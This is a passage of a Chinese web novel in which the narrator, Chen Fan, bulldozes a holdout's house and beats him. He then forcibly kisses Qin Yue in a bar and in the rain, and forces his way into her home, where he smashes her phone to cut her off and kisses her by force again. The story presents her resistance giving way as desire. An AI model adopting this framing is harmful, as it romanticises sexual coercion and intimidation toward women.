“那是我和冯氏集团签的,不是和你们凡颜资本签定的,不算数。”王坤嘴里叼着烟,不屑道。
“如果你不认可以,那你把220万的拆迁款退回,我可以和你坐下来重新谈。”我说。
“你傻逼吧,你做梦呢?给我的钱还能退回去?我明白的告诉你,钱不可能退,我也不可能搬家,你没钱就赶紧滚,少浪费我时间。”
“还有,什么时候,你把我想要的别墅给我,我就让你们工地开工,否则的话,你们一天别想开工!”
“王坤,你特么敬酒不吃吃罚酒,你不是不搬走么,老子我就当着你的面,拆了你的房子!”我朝着刘飞喊了一声:“刘飞,铲了他的房子!”
刘飞听了我的话,三步并作两步跑向了铲车!
035跪下,给我老婆道歉!
“坤哥,他们要铲了你的房子。”
“咱们要不然撤了吧。”
王坤的小弟凑过来,提醒道:“我看他们好像跟那群工人不一样,后来的这三个人,好像是练家子。”
“草,什么练家子不练家子,我看他们谁敢动我的房子,他们还敢强拆不成?”
王坤一副牛逼的样子,他根本没把陈凡放在眼里,他混社会这么多年,敢跟他掰手腕的,没几个,王坤能被这几个小年轻的给吓唬住?
他不但没有拦着刘飞,反而挥了挥手,让手下的人让出一条路,道:“来,陈凡,小比崽子,给你牛逼坏了,我让你去拆,你敢吗!”
“你今天要是不拆,你就是我儿子,你特么就是我养的!”
王坤挥了挥手,身后二三十人的小弟们都散开,原本还堵着的工地门口,瞬间闪出来了一条宽阔的大道。
“给我拆!”我大吼一声,怒火已经冲上了我的大脑,但我还是让自己保持冷静,只要拆了他的房子,凡颜资本的危机就能少一个。
“收到!”
刘飞听后踩着油门,开着铲车,最大的速度冲出了工地大门,王坤家的住在是一个独门独院的二层小楼,就在离工地几十米远。
一开始,王坤还嘴角还挂着一副你能把老子怎么样的表情。
可当铲车将他家院门推倒的那一刻,王坤傻眼了,他指着我骂道:“你妈的陈凡,我草你大爷,你真推啊!”
“你们还看着干什么,还不去拦着!”王坤着急的跳脚大骂:“妈的,钱没了,钱没了啊!”
他手下的那些小弟也不是傻子,谁敢和铲车过不去?那不就是找死么!
于是王坤这群人,眼看着不远处尘土飞扬,看着几百平米的楼房,被铲车一块一块的推倒。
“你吗的陈凡,老子要弄死你!”王坤气的浑身颤抖,他抓起地上的一个木棍,就来打我,他身后的人一看王坤动手了,也都跟着冲过来。
一场群架,即将爆发!
与此同时,我和周大伟两个人并肩而战,我和他对视了一眼,他秒懂我的意思,那就是兵分两路,一人一半。
许久没有打架了,我看着王坤,就像猎豹看待猎物。
不怕你来,就怕你不来!
砰!
我起脚一个右鞭腿,直接踢在了王坤的手上,速度快,力量足,只听王坤一声惨叫,他手里的木棍瞬间掉在地上。
他嗷嗷的叫着,手腕上传来的疼痛,让他忘记了攻击,可我抓住这个机会,跨步上前,一个膝顶,正中他的面门。
顿时,鼻血泗溅!
我没有多余的废话,也没有多余的动作,招招都狠辣无比,对付这种无赖,只要不打死,怎么打都可以。
啊!……
凄厉的惨叫声,犹如立体声一样环绕在工厂。
噗噗!
两声,王坤的两颗门牙,被我打掉在地上。
他满嘴都是血,眼前也都是血,他看着我,捂着嘴,呜呜的道:“陈凡……你……过分了……”
“我不过就是……”
他的话还没说完,我一脚踹在了他的膝盖上,他噗通一声跪在了我的面前。
我一个大耳光扇过去!
“刚才打我女人的时候,怎么没见你这么狼狈?”
我又一个耳光扇过去!
“刚才骂我妈的时候,你不是很牛逼么,现在骂啊!”
我拧着他的头发,一声声质问,他斜着眼睛瞪着我,我知道,他在心里骂了我无数次,可我就喜欢他这种想弄死我,还拿我没办法的样子。
“这么喜欢瞪着我?那我怎么回报你?在干你一轮把!”
我说罢,抬起脚就要往王坤身上踹,打他这种小喽喽,真的,没什么意思。
“别……别打了,我服……”
王坤连忙招手,他立刻向我服软,我心里很瞧不起这样的人,欺软怕硬,还没打几下,就扛不住了。
我蔑视的看着他,道:“服了?别墅还要不要了?”
“不要了……不要了……”王坤摇了摇头,跟拨浪鼓一样,生怕说慢了,又被我揍一顿。
“以后还找我们的麻烦么?”我踢了踢他问道。
“不不……绝对不会了……”
“工人的医药费怎么办?”我问。
“我给……我都给……”
王坤一边说着,一边捂着自己的手,他的手肿的都成熊掌了。
“那你倒是给啊,等什么呢!”我怒骂道。
“这就给……”王坤喊了一声:“老刘,把钱拿来。”
那个叫老刘的人,手里拎着黑塑料袋跑了过来,然后将塑料袋放在我面前,就吓跑了。
“我今天刚收到的五万,就给你送来了……”王坤一脸的欲哭无泪。
我看了看刘飞那边,他的铲车已经将王坤家的院墙全都拆完了,剩下的就是主体了,我马上给刘飞打电话,让他回来,剩下的交给专业的拆除师傅去做就行了。
不过王坤的话算是提醒了我,他收到了钱,谁给的?
“王坤,是谁让你来闹事的!”我直接问他。
“没……没有……”王坤的眼神明显有一丝丝的闪躲,他在说谎。
“你可以不说实话,那我就打的你满地找牙,反正已经掉了两颗,不在乎多掉几个,到时候正好可以去换一嘴烤瓷牙。”
“别,别打了……陈凡,我说,有个女的让我来的,说只要去工地闹事,就给我钱,闹一次,给一次,一次五万。”
“我寻思闲着也是闲着,就来赚点外快……”
“草你大爷,你特么跑你爷爷这来赚外快?”我忍不住骂了王坤,我忽然觉得这个男的有点没大脑,但我更好奇那个女的是谁。
“那个女的姓秦?”我问道。
“不知道。”
“长的很好看?”我接着问。
“不好看,就是一般人把。”王坤说道。
那这个女的就不是秦悦,就算是秦悦,她应该也不会亲自和王坤这种级别的人接触。
“陈凡……我可以走了吧。”王坤颤颤巍巍的站了起来。
“我让你走了吗?”我问道。
“哥,爷,太爷爷,我和我的兄弟都让你和你的兄弟给揍了,揍了一轮接一轮,房子你也扒了,你还要怎么样啊?”
说到最后,王坤都要哭了。
“你打了我的女人,我要你跪着给她道歉。”我说。
“跪着就算了吧,我好歹也是个男人,我也要脸面!”
“你要你妈的脸面,要么你去道歉,要么我踹碎你的脸面!”
夏颜被打,我心疼,那你就得付出代价。
王坤想了想,算是做了一番心里挣扎,然后一瘸一拐的走到夏颜面前,噗通就跪在了地上。
“夏小姐,你原谅我把,我有眼不识泰山,我不知道你男朋友这么能打,我要知道你男朋友这么能打,我肯定不会来的,别说给我五万了,就是给我五十万,我都不来啊……”
夏颜看都没看王坤一眼,对我说道:“老公,我不想看见这个男的,让他在我视线里消失!”
“没听见我老婆说的话么,你还跪在这里干嘛!”
我的一句话,王坤连滚带爬的领着手下的人跑了,他的那些手下人,被周大伟揍的都成了猪头。
“啧啧,陈总今天英雄救美,好威风啊!”柳媚笙扶着夏颜,道:“颜颜,你能找到这样的男人,柳姐真为你高兴!”
我心想:以后不能让这两个女人见面,搞不好我和柳媚笙的事情就要露馅了。
就在此时,救护车来了,我安排受伤的工人去医院。
就在这时候,我收到了一条短信,是柳媚笙发来的。
“颜颜今晚受伤了,你多陪陪她,记住,明天要多补偿我呦……”
036秦悦约我?
东郊这块地风波就此结束。
我带着夏颜去医院处置了一下伤口,她的胳膊只是浅伤,消毒处理一下就可以,随后我送她回了家。
夏颜一回到家就变成了一只考拉,她整个人挂在我身上,各种撒娇,撩拨的我心里火急火燎的。
“老公~”夏颜凑近我的耳边,呵气如兰,她柔柔弱弱的说道:“我受伤你心疼么?”
“当然,那还用说,要是伤口在深一点,我就废了王坤!”
男人的爱就是这样,平时的时候犹如沉默的火山,可一旦心爱的女人受伤,那火山就会爆发。
我右手揽着夏颜的腰,抬起她的胳膊,温柔的问:“还疼么?”
“嗯!”夏颜狠狠的点了点头,眼睛里仿佛溢出了泪水,她略带哽咽的说:“老公,你知道么?真的很疼……今天我厉害么?我都没有哭唉……”
“厉害!”
我的目光锁住了夏颜的嘴唇,我俯下身,在她的嘴巴上留下的印记。
夏颜吧嗒在我嘴巴上亲了一口,然后一副楚楚可怜道:“那我今天表现这么棒,老公要不要给我点补偿啊?”
“造小孩么?我分分钟满足你。”我嘿嘿的坏笑。
“讨厌~”夏颜拍了拍我的胳膊,娇嗔道:“才不是呢,上次跟你说的那个是,内裤走秀?我现在就给你买好不好,然后你穿给我看?”
见我不说话,夏颜自言自语,道:“哎呀,还说爱我一辈子呢,还说一辈子不放手呢,不过就是穿几个花枝招展的内裤,在我面前晃荡两圈,都不干呢……”
“果然啊,男人的嘴,骗人的鬼,怪我相信了你的甜言蜜语,唉……夏颜啊夏颜……你怎么就被美男计给迷惑了呢……”
“夏颜啊,你可长点心吧,别在相信某些人的话喽……”
夏颜在我耳边一番阴阳怪气,我哪能不知道她的意图,这不就是激将法么,于是我赶紧哄哄她,笑着道:“买,马上买,老婆大人想买什么样的就买什么样的,一个人玩多没意思,我也给你买内衣。”
于是我们两个人纷纷打开手机,在网上互相挑选内衣。
“老公,看我挑选的这个豹纹怎么样?你穿上肯定性感,吼吼~!”夏颜眼神闪过一丝的狡黠,然后捂着嘴偷笑道:“老公,你穿上豹纹,会不会有额外加持啊?会不会秒变雄狮啊?”
“哎~你给我打住!”我马上喊停,道:“我可不想当雄狮,听说狮子就三秒。”
“啊~你怎么知道的?”夏颜一脸好奇的问我。
“动物世界看的被。”我随口说道。
“哦,老公你真骚。”
靠!
我心里暗骂一声,这真是跟我混熟了,已经开始各种diss我了。
可每次夏颜和我闹着玩,逗我的时候,我内心都很欢喜,她带给我的情绪价值,是别的女人给不了的。
因为夏颜,是独一无二的。
“老公,我看看你给我挑的内衣~”
夏颜抢过我的手机,翻看我的购物车,越看她的表情越是凝重。
“哎呀,你穿豹纹好看,我穿就不好看了,过时了,删掉。”
“这件红色太土了啊,删。”
“这个蕾丝的,一点都不骚气,删。”
我认真选的十几件内衣,都被她给删了,这不就是你在说我眼光不行么?我黑着脸,不说话。
夏颜见我有些生气,就用手指捅了捅我,然后一脸谄媚的揉着我的脸说道:“你看看,人家就是逗逗你,你还生气了?”
我保持沉默,不说话。
“哎呀,是小女子不好,小女子没眼光,怎么能说老公挑的不好看呢?老公,你挑的最好看,你就是给我挑个破布条,我都穿好不好?”
“噗嗤!”
夏颜见我不说话,就各种捏着我的脸,她笑着说:“陈凡,我怎么那么喜欢逗你呢,尤其是看你生气,越看越可爱。”
我一个饿虎扑食,将她扑到在沙发上,我狠狠的问“你惹到我了,你要怎么补偿我?!”
“大王,要不要和我一起洗澡啊?”夏颜勾了勾我的鼻子。
“起架!”
我拦腰抱起夏颜,夏颜咯咯笑着搂着我的脖子,她说道:“看你拿猴急的样子,我胳膊坏了,不能碰水,今晚你帮我洗澡……”
夏颜的脸深深的埋在了我的胸口,我低头看着她,她的脸都已经红到耳根了。
“陈凡……”夏颜忽然抬起头,认真的问我:“咱们什么时候能怀上孩子啊?”
“这……多做几次总会有的……”
“那可太好了,等我怀孕了,我就挺着大肚子回夏家,让夏振宇好好看看,我给他准备的礼物。”
啧啧……
你这是准备礼物?
你这是恐怕要气死你爹吧!
不过,如果是我,我也会这么做的。
这一个晚上,我和夏颜尽情享受彼此的温柔……
第二天早上醒来,我就安排周大伟当夏颜的保镖,他办事稳妥,有他在我很放心。
刘飞这小子性格急躁,我让他去东郊看着工地,如果再有人闹事,直接开揍,不用留情面。
我坐在凡颜资本的办公室,望着面前的茶杯,陷入了沉思。
究竟是谁指使王坤去闹事的?
我马上给柳媚笙打去电话。
“呦喂,小弟弟这么早就给姐姐打电话了?看来昨晚不怎么累嘛……”
电话那头传来柳媚笙慵懒至极的声音,她声音本就温柔妩媚,在加上她时不时的轻哼,让人禁不住心神荡漾。
“柳姐,你觉得昨天王坤是谁派来闹事的?”我问。
“讨厌,给人家吵醒了,一睁眼,就问我工作地的事情,一点都不和人家调情……”
柳媚笙在电话里笑着骂我,对此,我都已经习惯了。
“柳姐,你能不能帮我查一查,昨天的幕后指使,另外帮我盯着秦悦。”
“你怀疑是秦悦?”柳媚笙问。
“当然,目前我知道的对东郊有意思的,就只有秦悦,不是她还能是谁呢?”
“好,我这就帮你调查,不过报酬呢?”柳媚笙问。
“柳姐,你想要什么?”
“要你陪睡哦~”
“没问题!”我爽快的答应下来。
忽然手机亮起,是秦悦发来的消息。
“陈先生,打扰了,今晚我想请您吃饭,您方便么?”
她结尾处还发了一个可爱的笑脸。
“如果你能穿着校服来,我倒是方便。”
“好,那就这么说定了,谢谢您,陈先生。”
“我喜欢露腿的校服,最好是短裙那种……”
……
海城大学,530寝室。
“快去给我找一套校服来!”
秦悦气的脸都红了,心里骂道:“可恶的陈凡,竟然让本小姐穿校服,你是想玩制服诱惑么!”
037秦家大小姐(上)
秦悦既然这么喜欢约我,那我今晚就给她来个深刻的体验。
于是,我发了一个微信给秦悦。
“晚上七点,魅惑酒吧。”
“啊?为什么去酒吧啊?”秦悦发了一个惊悚的表情。
“怎么?你不敢?”我发了一个双手朝下的鄙视表情。
“去就去,有什么不敢的!谁不去,谁是狗!”秦悦发了一个狗头的表情。
我将手机放在一旁,不在理会秦悦,王坤那伙人究竟是不是秦悦派来的,今晚试探一下,就知道结果了。
小张将保镖公司的文件拿了过来,我看了看,就在上面签了名字,然后吩咐她可以进行招聘了,在公司忙活到晚上,直到员工们都下班了,我才想起来和秦悦约会这件事。
晚上七点,我准时的坐在魅惑酒吧。
果然,我屁股还没坐热,秦悦的语音电话就发了过来。
“陈先生,我到了……你在哪里啊?”
“5号卡位。”
两分钟后,秦悦走进了魅惑酒吧,让我感到意外的是:穿上校服的她,清纯无比,只要看她一眼,仿佛就能回到校园时代。
秦悦穿了一套日式水手服,苍蓝色的夏装外胎,洗着红色的领结,她内搭一件白色短衬衫,下半身穿着一条蓝格百褶短裙,裙子刚好盖住大腿根部,清纯中带着一丝的诱人。
她梳着一个高高的马尾辫,脸上只化了淡妆,整个人看起来清纯可人,与酒吧的暧昧环境有些格格不入,她的出现,吸引了不少男人的目光,他们的眼神透露着不怀好意,仿佛将秦悦看个精光。
秦悦被看的脸颊红润,她双手紧张的抓着自己的帆布包,我不知道她是真害羞,还是演出来的。
“陈先生……”秦悦声音里有些颤抖,道:“这些男人,为什么老看我?”
我招了招手,示意她过来坐下,她走到我身边坐了下来,她有些拘谨,双腿并拢,双手规规矩矩的放在膝盖上,她这幅乖巧又带着诱惑的样子,确实很勾引男人。
“喝点什么?”我将酒单递了过去。
“我……喝果汁就好……”秦悦拘谨的说道。
“来酒吧喝果汁?别开玩笑了。”
我打了一个响指,旁边的服务员过来,我说道:“给她来一杯激吻。”
“啊?”
听到这个名字,秦悦愣了一下,道:“这么猛?”
“不然呢?我这么忙难道出来陪你玩的?”我冷冷的说道。
听了我的话秦悦低下头,她小声的说:“不好意思陈先生,我没想到你这么忙,我本来昨晚就想请你吃饭的,可是没好意思给你发消息……”
“昨晚我确实出不来,公司出了点事。”我故意说道。
“啊?什么事?我能帮忙么?”秦悦下意识的问我。
“也不算什么大事,就是十几个人来我公司闹事。”
“那后来呢?”
秦悦抬起头,她特别关切的问我,她的眼神很真诚,真诚的让我觉得她很假,她的戏演的太过了,正常人听到后,根本不会问这么细。
我静静的看着秦悦,不在说话,我已经得到我想要的答案,她果然经不住试探,秦悦,你太着急了,既然你对我公司下手,就别怪今天我对你不客气了。
似乎是觉得自己话多了,秦悦马上对我说:“不好意思陈先生,我就是好奇,像你这么好的人,怎么还会有人找你的麻烦呢。”
“你不也把我的车给撞了么,别人找我麻烦也不算什么稀奇事。”
“真是对不起,我今天请您吃饭,就是觉得您是个好人,想谢谢你没有为难我。”
好人?
我眼神玩味,好像她一直用这个理由来接近我,于是我凑近秦悦,在她耳边轻声问:“在你眼里,什么是坏人?”
“坏人就是……就是那种会欺负女孩子的。”秦悦忽然红了脸,然后躲开了,她小声说:“好痒……”
痒,就对了!
我挑了挑眉毛,换了一副浪荡样子,我的眼神故意在她起伏的胸部上停留,她察觉到了,马上用帆布包捂着胸部,可她的双腿又露出来了,她立即夹紧双腿。
“那你觉得,我让你穿成这样陪我,是不是欺负你?”
秦悦的脸刷一下就红了,整个脸红的都要滴出水来,她埋着头,断断续续道:“不算……是……是我自己愿意穿的。”
呵呵!
有意思,演的可真像那么回事啊!
我用酒杯碰了一下她的酒杯,道:“来陪哥哥喝一杯。”
一杯鸡尾酒下肚,秦悦的脸红的犹如晚霞,清纯校花,双腿微并,红透脸颊,这一副画面,引得不少男人观看。
“谈过男朋友么?”我随意的问道。
她猛然摇头,马尾辫随之晃动,她慌张道:“没……没有!”
我一脸不信,道:“你长的这么好看,还没人追?男人又不是瞎子!”
“有人追,可是我不喜欢,他们都太幼稚了,不像陈先生您这么成熟稳重。”
秦悦的马屁拍的真的是太牵强了,我给秦悦到了一杯酒,然后和她碰了杯,我们两个人一饮而尽。
“越是成熟的男人就越危险,你懂不懂?”我的脸贴近秦悦,她的皮肤很细嫩,靠着她就很舒服。
秦悦下意识的躲开,她眼中闪过一丝的慌乱和转瞬即逝的愤怒,可却没有逃过我的眼睛。
我知道,她快装不下去了。
于是我笑着拉过她的手,将她拉到座位上,道:“别紧张,来这里就是聊聊天。”
她这次坐的离我有些远,那我就故意挪动身体,离她近一些,直到她被我逼到沙发的角落,已经无处可逃。
我看着她羞愤却又无力反抗,我心里就很爽。
“妹妹,你看你酒吧来了,校服穿了,鸡尾酒也喝了,我这个做大哥的要是不给你点礼物,是不是有些说不过去了?”
“陈先生,你要给我什么礼物?”
秦悦一听我要给她礼物,她立马来了兴趣,不过马上说道:“要是太贵重的我就不要了,不过,要是陈先生亲手做的礼物,我倒是会很喜欢呢!”
“初吻算不算?”
“啊?”
呜呜!
秦悦还没反应过来,我的唇就热烈的吻上了她,秦悦整个人呆住了,她呼吸急促起来。
我整个人压在了她的身上,双手肆意的抚摸她的身体……
呜呜……
秦悦反应过来,她在挣扎,可她根本推不动我,她的眼里流出了眼泪。
直到我亲够了,才罢休。
我刚起身,秦悦一个耳光甩在了我的脸上,她哭着道:“陈凡,我恨你,我这辈子都不会原谅你!”
秦悦哭着跑出了酒吧……
038秦家大小姐(下)
秦悦抹着眼泪跑出了酒吧,她将门重重的甩在门框上,发出的响声,让整个酒吧都安静了。
我坐在卡座上,手指还残留她肌肤的温度,唇间萦绕她泪水的咸涩,她跑的很匆忙,她的帆布包都忘了拿。
我翻开她的帆布包,里面是一盒精心手工制作的饼干,上面还有一张贺卡:陈先生,谢谢你,这盒饼干是我亲手为你制作的哦~
“玩脱了?”
柳媚笙不知什么时候走到了我的身边,她递给了我一杯红酒。
我接过酒杯,喝了一小口,然后将那盒饼干放了回去。
“秦大小姐亲手给你制作的?”柳媚笙挑了挑眉毛。
“你信么?一个千金大小姐,会这个?”我不屑的说道,然后继续品尝这杯红酒。
“你对她不一样。”柳媚笙看着我的眼睛,略带深意的说道:“你看她,和看我,还有夏颜都不一样。”
“那是当然……”我放在酒杯,言语不屑道:“她能和你还有夏颜相提并论?她只不过是主动送上门的玩物而已。”
我从始至终对秦悦都没有任何的感觉,只不过把她当做一件玩具而已。
“啧啧……”柳媚笙靠近我,她的头凑过来,她整个人贴着我的胳膊,道:“秦悦是玩物,那我是什么?”
“你当然是尤物了……人间难得的尤物……”
“我爱听这话……”柳媚笙的嘴角勾起一个满意的弧度,她的烈焰红唇,在聚光灯下,显得更加的璀璨夺目。
“既然你把她当成猎物,怎么就这么轻松让她跑了?要知道,外面可是下着大雨……”
“你的意思是劝我去追她?”我疑惑的看着柳媚笙。
“不然呢?人家毕竟是个女孩子,初吻都被你强占了,人家说你两句怎么了?”柳媚笙笑着说道:“你啊,有时候机灵,有时候又慢半拍。”
柳媚笙的话让我陷入了短暂的思考,秦悦这个女人,论容貌确实数一数二,就这么错过她,确实有点暴殄天物。
“陈凡,女人可是会永远记住自己第一个男人呦~你要想彻底征服她,就要一鼓作气,趁火打劫!她被收拾服服帖帖,自然心甘情愿听你的话喽。”
“别怪姐姐没提醒你,多个朋友多条路,多个敌人多堵墙,她可是秦家的女人……”柳媚笙接着道:“昨晚的人,确实是秦悦手下的秘书去找的王坤,这么说,你该知道怎么做了吧?”
柳媚笙的话瞬间点醒了我,我不能在让凡颜资本遭受打击了,如果能用美男计,那何乐而不为呢?
窗外突然的暴雨敲打着门窗,让我的意识再一次的清醒,秦悦现在肯定是被雨水淋湿了,我并没有可怜她的意思,就冲着她为难凡颜资本,我都不会可怜她。
只不过,我不介意在演演戏。
于是我拿着伞冲出了酒吧,大雨滂沱,视线模糊,她应该是走不远的,我撑着伞,往马路上寻找。
终于,在拐过街角后,我在公交站台的角落里,找到了她。
秦悦蹲在公交站台里,她双手抱住膝盖,身体止不住的颤抖,她穿的少,又被大雨排湿,单薄的裙子紧紧贴在她的身上,勾勒出她纤细的身材。
她蹲在暴雨里哭泣,就像是一个被遗弃的小动物。
那一刻,我的心有一点点的动容。
只不过转瞬即逝。
我撑着伞走了过去。
她见有人来,抬起头,看到是我,愤怒道:“你来干什么?来笑话我?看我狼狈的样子!”
她声音有些沙哑,眼睛哭肿,她现在确实很狼狈,但她还保持着自己的骄傲,现在的秦悦,应该是放下了伪装。
我脱下外套,披在了她湿透的身上,我一把推开我,狠狠地瞪着我:“别碰我,陈凡,我恨你,我恨你!”
我看着她近乎歇斯底里的样子,我知道,她此刻不再是那个演戏的清纯女大学生,她现在就是被欺负,受了伤的女人。
“对不起……”我说了一句。
“你说什么?”秦悦愣住了,她问我。
“我说我对不起,我不该强吻你,如果你不满意,可以打我。”
“啊!”秦悦叫了一声,似乎要把心里的委屈都吼出来,她冲了过来,双拳使劲的打我。
我没有还手,就那么任凭她撒气,等她打累了,她就停手了。
终于,她累了,她在雨中气喘吁吁。
我看着她,问道:“撒气了?还恨我么?”
她撇过头,不看我,也不说话。
“既然打也打了,骂也骂了,那就再让我亲一次吧!”
“你说什么,陈凡,你个流氓!”
我一把将秦悦搂在了怀里,狠狠地将嘴唇印在她的唇上,她越是挣扎,我越是搂的紧,渐渐地她失去了力气,任由我的摆布。
大雨滂沱中,我们两个人热情的拥吻,她开始回应我……
秦悦的身上带着一种清香,就像是雨后的龙井,清香的让人上头。
她不在反抗,只是紧紧的搂着我……
许久,直到雨小了点,我们才停止激吻。
我喜欢秦悦么?好像不,只不过,她是一个漂亮的女人。
我想征服而已。
“雨中激吻,这也是我的第一次,你不吃亏。”我说。
“不要脸,亏你也说的出来,便宜都让你占了!”秦悦冷着脸看着我。
我轻轻的抱了抱她,温柔的问:“还恨我么?”
她静静的看着我,沉默了许久,忽然笑了,笑的有些凄凉,她说道:“陈凡,你知道么,我最恨的不是你强吻我,我恨的是,我明明知道你在玩我,我却主动的来找你。”
她都知道了?
还真是一个决定聪明的女人,有意思。
她声音颤抖,冰冷的雨水,让她的体温下降,她说道:“我以为我能征服你,让你爱上我,可我太天真了,陈凡,你就是一个没有心的人,你只是在享受玩弄我的样子!”
看着她痛苦的表情,我心里很是烦闷,因为秦悦说的就是事实。
“送我回家,就当是为你今晚的行为赔罪!”
我看着她倔强的眼神,最后还是点了点头答应了……
039秦悦的柔情(上)
出租车上,我们两个人都没有说话。
秦悦没有在看我一眼,就一直在看窗外,她时不时的咳嗽,面容憔悴。
“陈凡……”她声音沙哑,语气平和,仿佛看透一切一般,平静的对我说:“我知道你从一开始就知道我的身份,知道我在演戏,知道我想要东郊那块地。”
我沉默不语,因为她都说对了,两个自以为演技卓越的演员,结果身份都被对方识破了。
“我不想在演下去了,我累了,东郊那块地,我会凭借手段拿到。”
秦悦下车前,她忽然转过头,冷冷的对我说道:“陈凡,我会让你后悔的!”
她下了车,头也不回的走进了别墅。
我看着她的背影,冰冷的雨水冲刷她的身体,她脚步虚浮,她单薄的背影显得那么的脆弱又坚强,我脑袋里想的都是她的那句,我会让你后悔的。
让我后悔?
她是在威胁我?
我陈凡这辈子最讨厌人威胁我!
我推开车门,几步追了上去,就在她打开别墅门的那一瞬间,我的手伸了过去,直接把住了别墅的门。
我拽着秦悦的胳膊,质问道:“秦悦,你想怎么让我后悔!”
“放开我陈凡!你以为你是谁,你怎么敢对我这样!”
秦悦奋力的挣脱我的手,可她越是反抗,我就越是兴奋,在她的眼里我看到了恐慌。
我得意洋洋的看着她,道:“我是谁?我是夺走你初吻的男人,我是让你又爱又恨的男人!”
“陈凡,我警告你,我不但会让你后悔,我还会让夏颜也付出代价!”她眼神冰冷的犹如一把锋利的钢刀刺向了我。
“别以为我不知道你和夏颜的关系,我这次来就是为了报复你们!”
报复我可以,但是报复夏颜就不行!
夏颜是我的底线!
“你想怎么报复夏颜,说!”我双手按住秦悦的就肩膀,将她抵在门框上。
咳咳!
秦悦忍不住的咳嗽,她愤恨的说道:“我就不告诉你,我就要你眼睁睁看着夏颜被……”
“敬酒不吃吃罚酒!”
我拦腰抱起了秦悦,踹开了房门,抱着秦悦进了别墅。
“你想干什么,你放开我,你个流氓!”
她在我的怀里不停的扑打,她的手指甲将嵌入了我的胳膊,可我已经顾不上疼痛了。
我现在就想知道,她到底想对夏颜做什么!
砰!
我将房门重重的关上,然后将秦悦随意丢下,我冷冷的说道:“现在,我们能好好谈谈了把!”
“你为什么要报复夏颜!”
我俯视着秦悦,眼神冰冷,这就是她要伤害夏颜的代价。
“那是我和夏颜的私人恩怨,与你无关,那是她欠我的!”
“你跟她一样,都是薄情寡义的人!”
薄情?!
呵呵!
我薄情?我薄情我会为苏韵付出那么多?
夏颜薄情?她会为我付出一切?
“你说不说?”我一步一步的逼近秦悦。
秦悦一下一下向后挪动身体,直到她整个人被我逼近了墙角里,她开始慌张了,她拿出手机想要打电话,却被我一把抢了过来。
砰!
我一把将手机摔在了地上,手机直接摔成了两半,我的这个举动吓到了秦悦。
她惊呼道:“陈凡,你干嘛,你究竟想干嘛!”
这不手机是她与外界唯一的联系方式,现在被我摔碎了,她整个人都哆哆嗦嗦,没有了刚才大小姐的气势。
她的眼里,已经没有光芒,唯有恐惧和怨恨。
她在我的面前,就是一个随意任我切割的猎物,这种高高在上的感觉,让我有了征服感和满足感。
我上前,蹲下身,脸贴着脸,我冷冷的问:“现在,你还能找谁?”
她被迫仰起头,她不敢与我对视,可她的睫毛上却挂着泪珠,她的眼神在不停的变化,又恐惧,有愤恨,有不安,还有不易察觉的悸动。
我的手指摩擦她的脸颊,声音低沉的问道:“秦悦,现在你还想报复么?”
秦悦的身体颤抖,她终于和我对视,她恶狠狠的说道:“对,我恨你,我非常恨你!”
秦悦的话还没说,我低下头,狠狠地吻上了她的嘴唇。
这个吻,不同于酒吧的那个演戏的吻,这个吻夹杂着霸道、粗暴,我就是要让秦悦知道惹怒我的后果!
“陈凡!你放开我!”
秦悦用力的捶打我的胸膛,一开始她力气很大,可渐渐地,她的力气变弱,直到最后,她的双手无力的垂下去。
她已经没有力气,整个人都瘫在了我的怀里。
我知道,她是对我有感觉的。
结束后,我们两个人都喘着气,她脸颊绯红,不敢看我,她的嘴唇也微微肿起,这是她这个晚上,第三次被我亲吻了。
没办法,我尝试和她好说好商量,可是她不听啊,我也只能出此下策。
我看着她流泪的样子,心里的愤怒也逐渐平息,我伸手,轻柔的擦干她的泪水。
秦悦微微一愣,然后带有恨意的眼神看着我,一字一句道:“陈凡,我恨你,我恨你!”
我已经记不清这是她第几次说恨我了。
好像我都习惯了。
你恨我吧,我又不掉块肉,想怎么恨就怎么恨吧。
她不停的重复着恨我的话,我知道,她对我再也不是那种单纯的恨,而是又爱又恨,而是孽缘的纠缠。
我看着她脆弱又委屈的样子,我在她的唇边轻轻吻了一下,然后柔声道:“想恨就恨吧,从今天起,你的人和你的恨,都只能属于我!”
“你做梦!”秦悦反击我。
“你还真是嘴硬啊?说实话,你也挺喜欢我亲你的吧,不然你刚才呼吸急促什么?”
我看似不经意的玩笑,直抵秦悦的心房,她最后一丝遮羞布被我扯下了,那个不可一世的千金小姐,骄傲的不能在骄傲天之骄女,还不是沉沦在亲密接触上?
她的愤怒!
我的坏笑!
在这个空间里,形成了鲜明的对比,秦悦气的从地上站了起来,她嘴里叫喊着:“陈凡,我让你笑,我和你拼了!”
她像一头愤怒的母老虎向我扑来,狠狠地咬在了我的胳膊上……
040秦悦的柔情(下)
我没想到看起来纤细柔弱的秦悦,发起狠来,竟然这么大的力气,她的牙齿已经嵌入到我的胳膊,咬的我生疼。
但我并没有推开她,这点小伤和子弹击穿相比,算不了什么。
我知道,秦悦就是想要发泄一下情绪,她越是对我有情绪,就越会陷入沉沦,我想要的就是这个效果。
终于……她累了……
她大口喘着粗气,然后恶狠狠的瞪着我,我看了看胳膊,一排整齐的牙印印在上面,我打趣道:“这算是给我盖章了吗?”
“不要脸!”秦悦咬牙切齿道。
我嘿嘿一笑,不以为意,然后走到沙发上一屁股坐下,打开电视,悠哉悠哉的看了起来。
“喂,你干什么,你还不走么?”秦悦走过来,气冲冲的质问我。
“外面下暴雨,我怎么走?”
“你现在马上,必须走!”秦悦下了逐客令!“
“想走也可以,我得等我的衣服干了,才行。”
刚才在公交车站,我和秦悦一同淋雨,身上早就湿透了,现在外面雨还没停,这里又是别墅区,我连打车都打不到。
秦悦站在我的背后,我能感受到她想要杀了我的目光,可我依旧我行我素,我也是不在乎她,她就越是抓狂。
终于,她长舒了一口气,她走向了二楼的卧室。
我看着她娇俏的背影,眼神玩味,这个秦家大小姐,我该什么时候采摘呢?
而且,我今晚也不打算走了,我是想近距离接触秦悦,让她无法对凡颜资本下手报复。
我直接上了二楼的卧室,房门被反锁了,我听到里面传来了哗哗的流水声,估计秦悦是在冲澡,于是我进了另一个卧室,然后也给自己冲了一个热水澡。
洗完澡后,我顺手将身上的西装扔进了洗衣机里,穿着浴袍我就走出了浴室。
我走到秦悦的房门口,听见里面的水声已经停止了,估摸着应该是洗完澡了,于是我敲了敲门,并没有回应。
我就下楼去看电视,等过了一会儿,我见秦悦还没有出现,就起了疑心,然后继续上楼敲门,但无论我怎么敲门,秦悦都没有反应。
我察觉到不对劲儿,没见秦悦出来啊,怎么还没反应?按照她的性格不是应该开门,给自己臭骂一顿?
我一楼的仓库找了一把螺丝刀,然后上了二楼,准备撬锁,几分钟后,秦悦的房门就被我撬开了。
